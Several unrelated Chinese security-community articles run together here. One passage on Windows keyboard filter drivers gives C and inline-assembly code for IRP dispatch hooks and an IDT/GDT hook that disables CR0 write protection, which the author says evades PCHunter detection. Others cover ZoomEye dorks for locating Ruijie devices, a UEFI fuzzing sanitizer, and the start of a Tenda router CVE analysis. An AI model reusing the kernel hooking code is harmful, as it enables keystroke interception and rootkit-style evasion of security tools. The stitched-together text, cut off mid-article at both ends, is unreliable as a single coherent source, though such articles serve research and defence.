+0x014 SecurityQualityOfService : Ptr32 Void
然后调用ZwCreateFile打开设备，返回句柄操作。ZwCreateFile调用NtCreateFile --> IoParseDevice -->
IoGetAttachedDevice，然后就是得到了最顶端的设备对象，继续通过对象结构30 offset StackSize初始化irp。
ObCreateObject创建文件对象，offset 4
有一个DEVICE_OBJECT对象，这是一个比较有意思数据结构，可以通过_DRIVER_OBJECT对象找到一个驱动所全部的DEVICE_OBJECT，通过这个数据结构可以遍属于该驱动的全部的设备对象，赋值为键盘栈的PDO。调用IopfCallDriver将IRP发送驱动，对应的驱动处理，返回到ObOpenObjecyByName中继续执行，调用nt!ObpCreateHandle在进程csrss.exe的句柄表创建一个句柄，这个句柄就是对象DeviceObject指向的键盘设备栈PDO。
上述讲述的就是API层面或说windows如何通过进程来处理键盘响应的，其实你要做的与上述系统的处理试大差不差，也需要调用这些API来做。
kd> dt _DEVICE_OBJECT
nt!_DEVICE_OBJECT
+0x000 Type : Int2B
+0x002 Size : Uint2B
+0x004 ReferenceCount : Int4B
+0x008 DriverObject : Ptr32 _DRIVER_OBJECT 驱动指针
+0x00c NextDevice : Ptr32 _DEVICE_OBJECT 指向下一个设备对象
+0x010 AttachedDevice : Ptr32 _DEVICE_OBJECT
+0x014 CurrentIrp : Ptr32 _IRP
+0x018 Timer : Ptr32 _IO_TIMER
+0x01c Flags : Uint4B
+0x020 Characteristics : Uint4B
+0x024 Vpb : Ptr32 _VPB
+0x028 DeviceExtension : Ptr32 Void
+0x02c DeviceType : Uint4B
+0x030 StackSize : Char
+0x034 Queue : <unnamed-tag>
+0x05c AlignmentRequirement : Uint4B
+0x060 DeviceQueue : _KDEVICE_QUEUE
+0x074 Dpc : _KDPC
+0x094 ActiveThreadCount : Uint4B
+0x098 SecurityDescriptor : Ptr32 Void
+0x09c DeviceLock : _KEVENT
+0x0ac SectorSize : Uint2B
+0x0ae Spare1 : Uint2B
+0x0b0 DeviceObjectExtension : Ptr32 _DEVOBJ_EXTENSION
+0x0b4 Reserved : Ptr32 Void
然后就是按下键盘，通过一系列的中断就是我们上述说的那个，最后从端口读取扫描码在经过一些列处理数据给IRP，结束IRP。RawInputThread线程读操作后，会得到数据处理然后分下给合适的进程。一旦完成后会立刻调用ZwReadFile向驱动要求读入数据，等待键盘被按下，总结留给有心人吧......
设备栈情况：
最顶层：Kbdclass
中间层：i8042ptr
最底层：ACPI
在双机调试关机时候调试信息输出: Wait PDO address =
xxxxx...数据，一直卡死等待，这时候你就要考虑是不是驱动绑定及解除出现了一些问题。
#### 键盘数据过滤：
过滤串口时候，我们只用的设备名来作为绑定，返回的设备栈的顶层指针，那么如何找到所有的键盘设备呢？
1. 绑定最顶层的设备栈Kbdclass ，先获取Object:
2. 然后进行遍历打开、绑定保存:
3\. 这个函数功能仅仅是绑定，而并非通过绑定函数触发过滤机制，通过READ去读的，触发的是派遣函数IRP_MJ_READ。
4\. 调用IoSetCompletionRoutine函数，其实就是注册了IoCompletion例程，第二个参数就是我们处理Irp的函数：
void IoSetCompletionRoutine(
PIRP Irp,
PIO_COMPLETION_ROUTINE CompletionRoutine,
__drv_aliasesMem PVOID Context,
BOOLEAN InvokeOnSuccess,
BOOLEAN InvokeOnError,
BOOLEAN InvokeOnCancel
);
而c2pReadComplete函数主要截获了Irp保存在IRP栈中的扫描码，进行了替换（过滤），从而让通码成为我们指定的数据，达到效果:
动态卸载函数也很有意思，书中做稳妥的处理方式，如下所示：
设置全局标识，标识是否有请求处理为完成，如果有请求为处理完成，一直循环处理，这个很重要。如果你卸载了过滤设备，IRP请求还在处理状状态，ZwCreate仍即读，则会蓝屏，所以这个循环就尤为重要，使其内核睡眠。
**上述代码风格与书保持一致，因为去年写键盘驱动过滤发笔记，因为代码风格不同，很多人阅读代码去参考书籍理解时候带来了许多困难。**
#### Windbg动态调试:
为了更清楚了解释上述原理与代码，动态调试看代码运行流程：
##### 1. 打开、绑定PDO：
我们先打开了顶层设备栈对象Kbdclass，然后DEVICE_OBJECT中获取对象，然后打开设备对象，上述DEVICE_OBJECT则是Kbdclass的设备对象，Type是3代表这是设备对象，而DeviceType是0xb代表FILE_DEVICE_KEYBOARD
,下面就是绑定及生成过滤设备，如下：
##### 2. 键盘响应：
运行驱动，敲下键盘，这时候会在派遣的回调函数READ下发函数中断：
通过设置了回调函数，也就是例程起始地址，下面就是捕获IRP栈中的数据，看到键盘MakeCode= 0x1e如下所示：
windbg g运行，结束这个函数IRP，发现立刻会在下发Read函数中断下来，这也就是说，一旦完成后会立刻调用ZwReadFile向驱动要求读入数据.
#### HOOK手段：
##### 替换分发函数指针：
键盘HOOK这种方式，有很多帖子叫FSD键盘钩子？个人认为FSD
HOOK应该是指FileSystemHOOK，也就是设备\FileSystem\Ntfs，后续文章中会说到。HOOK派遣函数指针其实本质是替换，与上述那种键盘过滤都是针对派遣函数调用指针进行替换与处理，本质没有区别，下述给出关键步骤解释，伪代码如下：
3. **定义全局变量先保存，这里只HOOK IRP_MJ_READ**
PDRIVER_DISPATCH *OldReadAddress = NULL;
4. **绑定过滤设备之后，也就是调用ObReferenceObjectByName之后，进行派遣函数保存:**
OldReadAddress = KbdDriverObj->MajorFunction[IRP_MJ_READ];
5. **然后派遣设置成自己的MyHook()**
KbdDriverObj->MajorFunction[IRP_MJ_READ] = MyHook();
6. **卸载驱动时候UnDriver时候还原指针:**
kbdDriver->MajorFunction[IRP_MJ_READ] = OldReadAddress;
##### 类驱动下端口指针HOOK：
**内核曾又分为：执行体层、微内核层、还有HAL层，打个比方EPROCESS属于执行体层，而内嵌的KPROCESS属于微内核层。那么EPROCESS信息包含句柄表、虚拟内存、异常、I/O计时等，而内嵌KPROCESS保存的线程、进程调度信息、优先级等，Windows以这种结构方式对进程线程调度管理数据做分层式管理。那么再来下面就是HAL，顾名思义硬件抽象层，内核与硬件电路之间接口层，其目是将硬件抽象化，如下所示：**
端口驱动是根硬件打交道，一般都在HAL层，PS/2键盘端口驱动是i8042prt，USB是Kbdhid，键盘驱动工作就是接收中断请求、端口读写扫描码数据，数据传输给IRP完成整个过程。i8042prt叫做端口输入数据队列，USB的叫类输入数据队列。
对于i8024ptr来说缓冲区来说，按下按键产生通码MakeCode，按键弹起BreakCode断码，都会有中断调用键盘中断服务例程，调用这些端口驱动。i8042ptr会调用I8042KeyboardInterruptService读取扫描码，然后放到输入队列，当请求大于缓冲区时候，那么读的时候就会直接从i8042prt读出全部的数据，还有就是这个i8024队列中的数据会被传送到KbdClass队列中，读请求来的时候直接从KbdClass键盘类驱动数据队列读取。
谭文老师书中的这块就是对层KeyboardInterruptService做HOOK，总的来说谁HOOK越底层谁就能把谁反了，你应用层HOOK我内核层反你，微内核HOOK我HAL在做手脚，这个就看你对Win系统到底理解有多深，又能够知道多少非常底层的函数，能写出比较稳定的替换方式那你就是赢家。
这个KeyboardInterruptService地址没有公开，这里就按照书中方式动态调试的找一找这个函数地址，这里本想贴代码动态调试，复现二次没成功，代码被重构乱了，第一次没截图，书中又有源码，有兴趣的可以去调试。
#### 反过滤手段：
##### 基础知识铺垫：
对于win可执行来说，有很多反调试手段，如检测窗口是否有OD、x64等窗口，获取PEB的数据，利用winApi检测等，而反HOOK显示要检验，比较常见的都是更早获取数据或者更晚获取数据两种方式，HOOK更底层与地址校验。
对于键盘反过滤来说经典的就是中断HOOK，软中断有除零（0号中断）、断点（3号中断）、系统调用（2e号中断）以及异常处理等，当发生异常时候，系统就会通过中断码去找对应的中断处理例程，所以这些处理中断异常的函数组成了一个表，IDT
（Interrupt Descriptor Table），而硬中断被称为IRQ，这里不做细说。那么int
0x93，根据中断码去IDT找对应的中断处理函数，我们只需要HOOK处理IDT处理int 0x93中断的函数地址即可。
先来看看IDA表，windbg下用!pcr指令，就是查看当前KPCR结构，处理器控制域信息，这里不做多扩展，我们就可以发现IDT的基址，同样r
idtr也可以读取：
查看一下0x80b95400内存中的数据：
IDT表中每一项都是一个门描述符，包含了任务门、中断门、陷阱门这些，而我们键盘int
0x93HOOK就是中断例程入口，IDT记录了0~255的中断号和调用函数之间的关系。
typedef struct _IDTENTRY
{
unsigned short LowOffset;
unsigned short selector;
unsigned char retention : 5;
unsigned char zero1 : 3;
unsigned char gate_type : 1;
unsigned char zero2 : 1;
unsigned char interrupt_gate_size : 1;
unsigned char zero3 : 1;
unsigned char zero4 : 1;
unsigned char DPL : 2;
unsigned char P : 1;
unsigned short HiOffset;
} IDTENTRY, *PIDTENTRY;
**如何用汇编获取IDTR呢？汇编指令sidt**
##### IDT HOOK（过PCHunter）：
本文不用修改IDT中断处理表中的例程函数来做键盘HOOK，而介绍另一种IDT
HOOK的方式，我们上述提到了GDT/LDT，这两个叫做全局描述符表/局部描述符表，GDT表中每项都是一个段描述符，因为索引号只有13bit，所以GDT数组最多有8192个元素，用来权限检测等，寄存器显示的是段选择子，16bit可显，以前51cto写过相关的资料，安全相关的文章被屏蔽了......，以后有机会在重写一下这块文章。
如何运作的呢，如下图所示，通过段选择子Segment Selector的TI标志位，如果是0意味着是GDT，如果是1意味着LDT表，GDTR
Registe读取表基地址：
因为段描述符又分为系统段、代码段、数据段，根据标志位，下述贴出一个标准IA-32e下的Descriptor:
有了上述知识的铺垫，来说一说键盘IDT HOOK如何实现，先明确思路，对于IDT
HOOK来说，中断描述符修改符号表中索引地址就可以了，因为端口与处理中断是一一对应。而针对GDT来说我们不可以直接修改段描述符中的基地址，也就是Base
Address直接修改，因为GDT会被其它的操作调用，贸然更改则会蓝屏崩溃。
产生中断或异常后：
1. CPU中断号找到 IDT 表中的中断描述符 -- 这一步存可以HOOK
2. 获取门描述符中的段选择子. -- 这一步也可以HOOK
3. 段选择子找到 GDT 表中的段描述符，然后在取出段基地址 -- 这一步可以HOOK
4. 段基地址 + 门描述符中的函数偏移拿到函数地址.
5. 调用函数
kd> r gdtr
gdtr=80b95000
kd> dq gdtr
80b95000 00000000`00000000 00cf9b00`0000ffff
80b95010 00cf9300`0000ffff 00cffb00`0000ffff
80b95020 00cff300`0000ffff 80008b1e`500020ab
80b95030 84409316`6c003748 0040f300`00000fff
80b95040 0000f200`0400ffff 00000000`00000000
80b95050 84008916`40000068 84008916`40680068
80b95060 00000000`00000000 00000000`00000000
80b95070 800092b9`500003ff 00000000`00000000
.............................................
（1）首先我们还是要获取idt[0x93]，也就是键盘中断处理例程函数地址，如下所示，IDTR的寄存器48bit，其中32bit是基址，后16bit是IDT长度，我们定义下述结构体：
typedef struct _IDTR {
USHORT IDT_limit;
USHORT IDT_LOWbase;
USHORT IDT_HIGbase;
}IDTR, *PIDTR;
ULONG GetkeyIdtAddress()
{
IDTR idtr;
IDTENTRY *pIdtr;
__asm SIDT idtr;
/*
MAKELONG
idtr.IDT_LOWbase; // 与操作 IDT_LOWbase | IDT_HIGbase << 16
idtr.IDT_HIGbase; // << 16bit
minwindef.h有该宏定义
*/
pIdtr = (IDTENTRY *)MAKELONG(idtr.IDT_LOWbase, idtr.IDT_HIGbase);
// 返回0x93门描述符的地址，如上一样
return MAKELONG(pIdtr[0x93].LowOffset, pIdtr[0x93].HiOffset);
}
动态结果如下：
**注意的地方，IDT 表有时候没有通过IDTR来读取，多核CPU来说可能有多个IDT表，汇编指令idtr只能读取其中一个.**
(2) 计算函数偏移，获取到了IDT中键盘处理中断的函数地址，用新得减去原地址，就可以得到偏移，韦伪代码如下：
// 裸函数声明
VOID __declspec(naked) FilterFunction();
// 获取IDT某个中断函数处理地址
g_OldDescriptAddressBase = GetkeyIdtAddress(Index);
// 段基地址 + g_uOrigInterruptFunc ＝ NewInterruptFunc
OffsetBase = NewInterruptFunc - g_OldDescriptAddressBase;
// 跳转该地址保存在全局变量
*(ULONG*)g_Jmp = (ULONG)FilterFunction;
(3) 关于CR0~CR4，这里不多过介绍，写保护开启与关闭如下所示:
// 实现：关闭写保护
NTSTATUS MemoryPageProtectOff()
{
__asm
{
pushad;
pushfd;
mov eax, cr0;
// 前提内存保护一定是开启的 WP = 1 否则..就给开启了
and eax, ~0x10000;
mov cr0, eax;
popfd;
popad;
}
}
// 实现：开启写保护
NTSTATUS MemoryPageProtectOn()
{
__asm
{
pushad;
pushfd;
mov eax, cr0;
or eax, 0x10000;
mov cr0, eax;
popfd;
popad;
}
}
（4）构造一个新得段描述符，修改门描述符中的段选择子，跳转到我们构造得段描述符中，触发我们自定义得函数，完成IDT HOOK：
构造新得有两种方式:
一个手动填充中段描述符的各类属性，第二个是直接拷贝GDT[1]段属性描述符在修改，拷贝时候最好先看IDT段选择子对应的GDT中描述符，然后根据HOOK的函数在做拷贝。
// 实现自己的函数
void __declspec(naked) MyFinter()
{
// GDT中断描述符触发成功，HOOK
KdPrint(("Process: %s\n", (char*)PsGetCurrentProcess() + 0x16c));
DbgBreakPoint();
// 调用门描述符原函数地址
__asm CALL g_OldDescriptorAddress;
}
// 构造新得gdtr[xx]，然后gdtr[xx].BaseAddress = MyFunction ，IDT[0x93].selector指向新建的段描述符
NTSTATUS InstallIDT()
{
// 修改IDT[0x93].selector段选择子偏移到我们新创建的段描述符
g_OldDescriptorAddress = GetkeyIdtAddress(1);
ULONG AddrNew = ((unsigned int)MyFinter - g_OldDescriptorAddress);
DbgBreakPoint();
// 读取gdtr表基地址
char sgdtr[6] = { 0, };
PKGDTENTRY sgdtrDataArr = NULL;
// 为了转换所以用了一下PIDTR结构体，根结构IDTR无关
PIDTR TempgdtrBaseaddress = NULL;
__asm SGDT sgdtr
// sgdt dgt
ULONG gdtrBaseAddr = 0;
sgdtrDataArr = (PKGDTENTRY)sgdtr;
TempgdtrBaseaddress = (PIDTR)sgdtr;
ULONG gdtrBase = MAKELONG(TempgdtrBaseaddress->IDT_LOWbase, TempgdtrBaseaddress->IDT_HIGbase);
// 500003ff`807f2abc
DbgBreakPoint();
// 1. 关闭写保护
MemoryPageProtectOff();
// 找到GDT[21]其实任意空 8个Bit 0都可以
ULONG gdtrBase21 = (gdtrBase + sizeof(KGDTENTRY) * 0x15);
DbgBreakPoint();
// 将GDT[1]拷贝到GDT[21],创建新得段描述符
RtlCopyMemory((PVOID)gdtrBase21, (PVOID)(gdtrBase + sizeof(KGDTENTRY)), sizeof(KGDTENTRY));
DbgBreakPoint();
// 将新创建段描述符的BaseAddress修改成我们自己的函数地址
sgdtrDataArr = (PKGDTENTRY)gdtrBase21;
sgdtrDataArr->HighWord.Bytes.BaseMid = (UCHAR)(((unsigned int)AddrNew >> 16) & 0xff);
sgdtrDataArr->HighWord.Bytes.BaseHi = (UCHAR)((unsigned int)AddrNew >> 24);
sgdtrDataArr->BaseLow = (USHORT)((unsigned int)AddrNew & 0x0000FFFF);
DbgBreakPoint();
MemoryPageProtectOn();
}
虽然能过键盘钩子及IDT检测，但是没有过GDT检测，其实过GDT也很简单，当然不是本篇幅讨论的内容：
上述中构建新GDT描述符位置索引0xA8或者0x4B（第九项）都可以，保证0~3Bit为0，涉及指令的权限检测，有兴趣的可以查一下Inter手册。其实中断门、调用门、任务门曾常常用于提权，切换选择子R3获取R0的权限。本身还想加一个HOOK检测逆向模块，但是就完全脱离了内容，所以后续有机会在分享讨论。 | 社区文章 |
**作者： Li3na
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
在安全交流群，有个群友问了这么一个问题。其实可以把ZoomEye
当做一个藏宝图里面有挖掘不完的测绘数据，怎么利用ZoomEye挖掘测绘数据下面介绍一下流程。
（上图为群友提问ZoomEye使用截图）
## 了解业务和行业
百度搜索“中国有多少个行业”其实远远不止360行。目前发达的行业主要有商贸、金融、保险、法律、财政、贸易、电子、机械、计算机、通讯、医药、生物、军工、游戏、区块链、人工智能等几百个行业。
每个行业都有配套的生产环境和业务流程。而用于生产环境和业务流程上的软件和硬件如果开放在互联网上，ZoomEye从而可以利用部署在全球各地的探测节点和积累的软/硬件规则能准确识别出协议、和应用类型并进行字段标注。
## Banner查询转换ZoomEye dork查询
Banner在chain kill
攻击链里面属于：侦查信息收集阶段，banner其实是需要建立tcp三次握手请求,返回的服务内容里面获取特征信息来判断服务,可以理解为指纹识别。
比如用ZoomEye过滤器搜索"citrix adc" Citrix ADC 是应用程序交付控制器，用于分析应用程序特定的流量，以智能地分发和优化 Web
应用程序第 4 层 - 第 7 层 (L4–L7) 的网络流量并确保其安全。ADC 功能可大致分为交换、安全性和保护、服务器场优化以及全局服务器负载平衡
(GSLB)。其实这个还是属于banner查询还没有转换成ZoomEye dork查询还没有制作规则上传到ZoomEye平台。
（上图为全局搜索banner）
（上图为通过span行内标签关键词形式定位的Banner）
ZoomEye dork是ZoomEye资产测绘平台的查询语法加上特定关键词组成的语句，用来搜索挖掘ZoomEye平台数据进行消费。
从Banner查询转换成ZoomEye dork查询用app:"citrix adc" 目前这转换操作需要ZoomEye官方运营人员操作。明显citrix
adc转换成ZoomEye dork查询过滤了很多垃圾信息数据、比如蜜罐、提升准确性。
（上图为ZoomEye dork搜索）
## 利用ZoomEye挖掘厂商软硬件设备案例
了解完了，行业和业务流程，还有Banner和ZoomEye dork这些名词的意思后下面演示案例。
流程：软/硬件厂商>产品白皮书或演示地址>几种搜索banner方法>转换ZoomEye dork查询
### 利用ZoomEye挖掘锐捷RG-Scan型号漏扫 dork
挖掘锐捷产品banner、先来了解一下锐捷这个厂商
公司名称：锐捷网络股份有限公司
经营范围：
许可项目：第二类增值电信业务；互联网信息服务；技术进出口；货物进出口；进出口代理（依法须经批准的项目，经相关部门批准后方可开展经营活动，具体经营项目以审批结果为准）一般项目：信息系统集成服务；通信设备制造；计算机软硬件及外围设备制造；软件开发；软件销售；计算机及通讯设备租赁；信息技术咨询服务；数据处理和存储支持服务；家具销售；家具安装和维修服务；住房租赁；物业管理；互联网数据服务；互联网设备制造；互联网设备销售；互联网安全服务；网络设备制造；网络设备销售；物联网设备制造；物联网设备销售；物联网技术研发；物联网技术服务；物联网应用服务；信息安全设备制造；信息安全设备销售；云计算设备制造；云计算设备销售；教育咨询服务（不含涉许可审批的教育培训活动）（除依法须经批准的项目外，凭营业执照依法自主开展经营活动）
锐捷旗下的品牌：睿易中小企业、诺客、等
产品线覆盖：交换机、路由器、软件、安全防火墙、无线产品、存储等全系列的网络设备
客户：政府、教育、金融、医疗卫生、企业、等
首先下载锐捷工程师使用的服务工具（小锐云服）
（上图展示了锐捷的、产品线、解决方案、场景案例）
随便找个安全产品在ZoomEye挖掘一下banner数据。
（上图为模糊找的RG-Scan漏扫关键词信息）
产品名词：RG-Scan漏洞评估系统产品
产品类型：安全产品
产品关键词型号：RG-Scan 1000E、RG-Scan 2000E、RG-Scan
打开ZoomEye根据过滤器语法输入”RG-Scan 1000E“、”RG-Scan 2000E“、”RG-Scan“
搜索字符串请使用引号（如"Cisco Systems"或'Cisco Systems'）， 如不然空格会认定为逻辑 or
运算符，如果搜索字符串里存在引号可以使用 \ 进行转义 比如: "a\"b",如果搜索字符串里存在括号可以使用 \ 进行转义 比如: portinfo()
通过输入关键词全局搜索”RG-Scan 2000E“ 定位了banner ，title:"RG-Scan漏洞评估系统 V1.0"
明显过滤了很多垃圾信息，在通过title:"RG-Scan漏洞评估系统 V1.0" 转换成ZoomEye dork
，这个需要ZoomEye运营人员添加dork规则。Banner全局搜索转换ZoomEye dork 输入app:"RG scan vulnerability
assessment system products"
（上图为关键词模糊全局搜索）
（上图为找到了准确title banner特征全局搜索）
（上图为ZoomEye dork 全局搜索）
### 利用ZoomEye ssl证书搜索挖掘锐捷RG-WALL 1600系列下一代防火墙 dork
利用ZoomEye ssl证书搜索挖掘锐捷安全产品线下的防火墙banner
（上图为模糊找的RG-WALL 1600系列全新下一代防火墙关键词信息）
型号： RG-WALL 1600-S3100、 RG-WALL 1600-S3600、RG-WALL 1600-M5100 RG-WALL
1600-M6600、 RG-WALL 1600-X8500、RG-WALL 1600-X9300
找到一个演示地址发现开启了证书功能，准备提取ssl证书指纹。
Ssl查询格式：ssl:"5c a2 fa ae 99 3a 3d 9f 39 a6 6e f0 67 26 0f dd b2 2b 93 29"
或者ssl:"5C:A2:FA:AE:99:3A:3D:9F:39:A6:6E:F0:67:26:0F:DD:B2:2B:93:29" ZoomEye
dork 查询app:"Rg-wall 1600 series next generation firewall"
（上图为寻找ssl证书banner标识）
（上图为SSL证书搜索数据）
（上图为ZoomEye dork搜索数据）
**参考链接
<https://paper.seebug.org/1629/>
<https://mp.weixin.qq.com/s/w5-qgxGKrvfHgyen3Xdofg>**
欢迎加入ZoomEye官方微信群，入群请添加下方管理员微信，添加时请备注“ZoomEye”
* * * | 社区文章 |
# 从UEFI模块的动态仿真到覆盖率导向的UEFI固件模糊测试（二）
##### 译文声明
本文是翻译文章，文章原作者 Assaf Carlsbad，文章来源：sentinelone.com
原文地址：<https://labs.sentinelone.com/moving-from-dynamic-emulation-of-uefi-modules-to-coverage-guided-fuzzing-of-uefi-firmware/>
译文仅供参考，具体内容表达以及含义原文为准。
在本文中，我们将为读者详细介绍覆盖率导向的UEFI固件模糊测试技术。
在本文上一部分中，我们对UEFI的攻击面进行了全面的分析，接下来，我们将为读者介绍内存池Sanitizer。
## 内存池Sanitizer
基于突变的模糊测试技术，主要是由下面一组观察结果驱动的：
1. 有效输入发生突变后可能会变成无效输入；
2. 如果目标没有对这些无效输入进行正确处理，可能会触发内存破坏问题；
3. 内存破坏问题通常表现为崩溃。
图6 基于突变的模糊测试技术示意图
就其本身而言，这些假设是相当简单化的，而且并不总是成立的。作为一个例子，让我们考虑一个简单的，基于堆栈的缓冲区溢出漏洞。如果溢出不够“深”，很可能它不会覆盖保存的返回地址，因此不会表现为崩溃。即便如此，也有两个原因使侦测这些情况变得极其重要：
1. 首先，如果运气好的话，fuzzer可能会发现其他一些突变，从而帮助将“deep”“浅”溢出转换为“深”溢出漏洞。
2. 其次，如果构建得当，即使是“浅”溢出漏洞也可能对攻击者非常有用。例如，在堆栈溢出的情况下，我们可以覆盖其他局部变量的值，从而影响程序的执行。
为了帮助fuzzer将这些情况与实际崩溃一样对待，我们需要sanitizer助一臂之力。简单地说，sanitizer是一个非常笼统的术语，用来表示任何对执行中的代码实施更严格检查的检测策略。如果这些检查中有一项在运行时失败了，sanitizer就会故意使进程崩溃，从而通知fuzzer刚刚发现了一个潜在易受攻击的路径。
sanitizer的应用并不只限于模糊测试技术。事实上，大多数sanitizer都被开发人员用到。通过将这些工具融入到他们的工作流程中，开发人员可以快速暴露各种编程错误，否则这些编程错误可能会在很长一段时间内无法被发现。这些sanitizer的著名例子包括Google的sanitizer套件（AddressSanitizer、MemorySanitizer、LeakSanitizer等）、微软的ApplicationVerifier以及老牌的、深受欢迎的Valgrind。
对于我们的UEFI NVRAM
fuzzer来说，我们主要是对AllocatePool()和FreePool()等内存池服务进行“消毒处理（sanitization）”。和其他动态内存分配器一样，UEFI内存池也容易受到一些滥用模式的影响，例如：
1. 内存池上溢/下溢（Pool overflow/underflow）：一段行为不当的代码将数据写到了给定内存池缓冲区的边界之外，从而破坏相邻的内存。
2. 越界访问（Out-of-bounds access）：试图读取超出给定内存池缓冲区边界的数据。
3. 双重释放（Double-frees）：在这种情况下，同一个内存池块被释放两次。
4. 无效释放（Invalid frees）：试图释放一些本来就不属于内存池的内存。根据特定的内存池的实现方式，这种模式也可能导致内存破坏。
5. 释放后使用（Use after free）：在内存池块被释放后，一段代码又访问了它。
在开发sanitizer的过程中，我们从包含类似功能的BaseSAFE项目中获得了一些灵感，并借鉴了一些巧妙的想法。我们恳请您查看他们的项目，并阅读附带的论文（尤其是4.7节–Drop-In Heap
Sanitizer）。本质上将，内存池sanitizerhook了许多重要的内存池服务，如allocate()和free()，并对它们进行如下处理：
1. allocate(size)：对于每一个内存分配请求，sanitizer首先会增加8个字节的辅助数据。也就是说，如果用户请求了X个字节，那么实际的内存块的大小将是X+8。接下来，要返回给调用者的指针将被移位4个字节。这样就给我们留下了两个“填充”区域，每个区域长4个字节。借助于Qiling框架提供的内存API，我们可以使这些“填充”区域变成既不可读也不可写的内存区域。因此，任何访问这些“填充”区域的尝试都会被捕获并导致异常。通过这个方案，我们可以检测到大多数的内存池上溢和下溢的情况，甚至包括是那些off-by-one漏洞所致、通常很难发现的内存池上溢和下溢情况。
图7 一个精心构造的内存池块，用于检测内存池上溢/下溢。
2. free(ptr)：当一个内存块被释放时，我们首先将用户可访问的部分（从P+4开始，到P+4+size结束）标记为不可访问。因此，任何试图在释放内存块后访问它的行为都会被检测到。此外，与现实世界中的堆不同（它应该考虑到性能和内存需求问题），我们必须确保不会再次分配这个内存块。这样我们就省去了维护空闲列表和管理不同内存块状态之间转换的麻烦。
图8 一个内存池中的内存块被释放后的情况。通过让用户可见的部分也无法访问，我们就能“捕获”所有针对该内存块的UAF问题
我们要解决的另一个重大挑战是源于库函数的溢出漏洞和其他漏洞。根据设计，Unicorn引擎支持的所有hook类型只能由模拟的CPU指令触发，而不是由框架本身触发。反过来，这也会带来一些有趣而又有悖常理的东西。
作为一个具体的例子，让我们考虑一个简单的UEFI应用程序，它调用一个引导服务，如CopyMem()，其中一个缓冲区是一个标记为不可访问的内存区域。现在，假设CopyMem()的实现是由应用程序自己给出的，就像编译器选择内联这个函数一样。这种情况显然会在运行时引发异常，所以没有什么特殊的地方。
现在，考虑一下CopyMem()的实现从来没有在二进制层面明确给出的情况。取而代之的是，对CopyMem()函数的调用被拦截，并在Qiling之上模拟其效果。这样的实现可能会利用框架特有的API来直接写入内存，从而绕过为目标内存缓冲区安装的任何hook。
图9 CopyMem()服务的可能实现。通过直接写入内存，这样的实现不会触发安插在目标缓冲区上的任何hook。
为了纠正这种情况，我们扩展了sanitizer，以利用金丝雀值（canary
values）。总的来说，在内存池缓冲区的一部分被标记为不可访问之前，它会被一些已知的魔术值（默认情况下为0xCD）所填充。然后，在执行结束时，sanitizer会遍历所有这些块，并验证它们没有以任何方式被破坏。使用这种技术时，我们只能在事后检查缓冲区溢出漏洞（即我们不会立即得到通知），但这比让这些漏洞逃之夭夭要好得多。
图10 一个释放的内存池块，其中填充了金丝雀值。金丝雀值可以帮助我们检测源自被仿真的库函数的漏洞。
然而，另一种缓解这个问题的方法源于这样一个事实，即CopyMem()和SetMem()都可以通过手工编写汇编代码的方式来轻松实现。虽然memcpy()和memset()的顶级实现确实不简单，但只需少量的x86指令就可以构造出一个简陋的、非性能导向的版本。正因为如此，一个可能的解决方案是为这些服务引入汇编版本，将它们编译并注入到仿真环境中，然后强制所有CopyMem()和SetMem()的调用方都使用它们。这样一来，所有的字节传输都变成了Unicorn引擎支持的实际CPU指令，因此，它们就很容易被各种类型的hook所拦截。
图11 SetMem()的手写汇编实现。虽然它很简陋，性能也不高，但它完全实现了应有的功能——这才是最重要的。
## 小结
在本文中，我们为读者介绍了内存池Sanitizer，接下来，我们将为读者演示如何检测未初始化的内存泄露。
**（未完待续）** | 社区文章 |
**作者：Ryze-T
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 0x00 简介
固件下载地址：<https://us.softpedia-secure-download.com/dl/50b0d70af21488030c14cb2bd30e63b3/63008144/300482999/drivers/router/US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar>
CVE 详情：
从 Description 中可知，由 COOIKE 请求头中的 password 参数触发远程代码执行漏洞，因此固件中要分析的文件应该是 HTTP
相关的文件。
## 0x01 固件提取
binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin
得到 squashfs-root 文件夹。bin 文件下有个 httpd 二进制文件：
arm32 架构的程序。
## 0x02 分析
搜索 web 相关函数：
百度搜索这些函数，会发现这使用的是 goAhead 框架。字符串搜索 .1 找到一个 2.1.8，很像是版本号，搜索下载 goAhead 2.1.8。其中
webs.h 中有一个结构体：
typedef struct websRec {
ringq_t header; /* Header dynamic string */
time_t since; /* Parsed if-modified-since time */
sym_fd_t cgiVars; /* CGI standard variables */
sym_fd_t cgiQuery; /* CGI decoded query string */
time_t timestamp; /* Last transaction with browser */
int timeout; /* Timeout handle */
char_t ipaddr[32]; /* Connecting ipaddress */
char_t type[64]; /* Mime type */
char_t *dir; /* Directory containing the page */
char_t *path; /* Path name without query */
char_t *url; /* Full request url */
char_t *host; /* Requested host */
char_t *lpath; /* Cache local path name */
char_t *query; /* Request query */
char_t *decodedQuery; /* Decoded request query */
char_t *authType; /* Authorization type (Basic/DAA) */
char_t *password; /* Authorization password */
char_t *userName; /* Authorization username */
char_t *cookie; /* Cookie string */
char_t *userAgent; /* User agent (browser) */
char_t *protocol; /* Protocol (normally HTTP) */
char_t *protoVersion; /* Protocol version */
int sid; /* Socket id (handler) */
int listenSid; /* Listen Socket id */
int port; /* Request port number */
int state; /* Current state */
int flags; /* Current flags -- see above */
int code; /* Request result code */
int clen; /* Content length */
int wid; /* Index into webs */
char_t *cgiStdin; /* filename for CGI stdin */
int docfd; /* Document file descriptor */
int numbytes; /* Bytes to transfer to browser */
int written; /* Bytes actually transferred */
void (*writeSocket)(struct websRec *wp);
} websRec;
typedef websRec *webs_t;
typedef websRec websType;
找到里面特殊的 ringq_t 结构体：
typedef struct {
unsigned char *buf; /* Holding buffer for data */
unsigned char *servp; /* Pointer to start of data */
unsigned char *endp; /* Pointer to end of data */
unsigned char *endbuf; /* Pointer to end of buffer */
int buflen; /* Length of ring queue */
int maxsize; /* Maximum size */
int increment; /* Growth increment */
} ringq_t;
sym_fd_t 其实就是 int，char_t 就是 char。
格式化后将这两个结构体导入到 IDA 中。
goAhead 2.1.8 的 main.c 中有一段：
IDA pro 中 sub_2D3F0 也有类似的一段：
这个 R7WebSceurityHandler 应该是二次开发的函数。
WebSceurityHandler 函数官方文档表明是用来做默认 URL 的安全策略的函数，若需要替换安全策略，可以修改该函数。
其函数原型如下：
#include "webs.h"
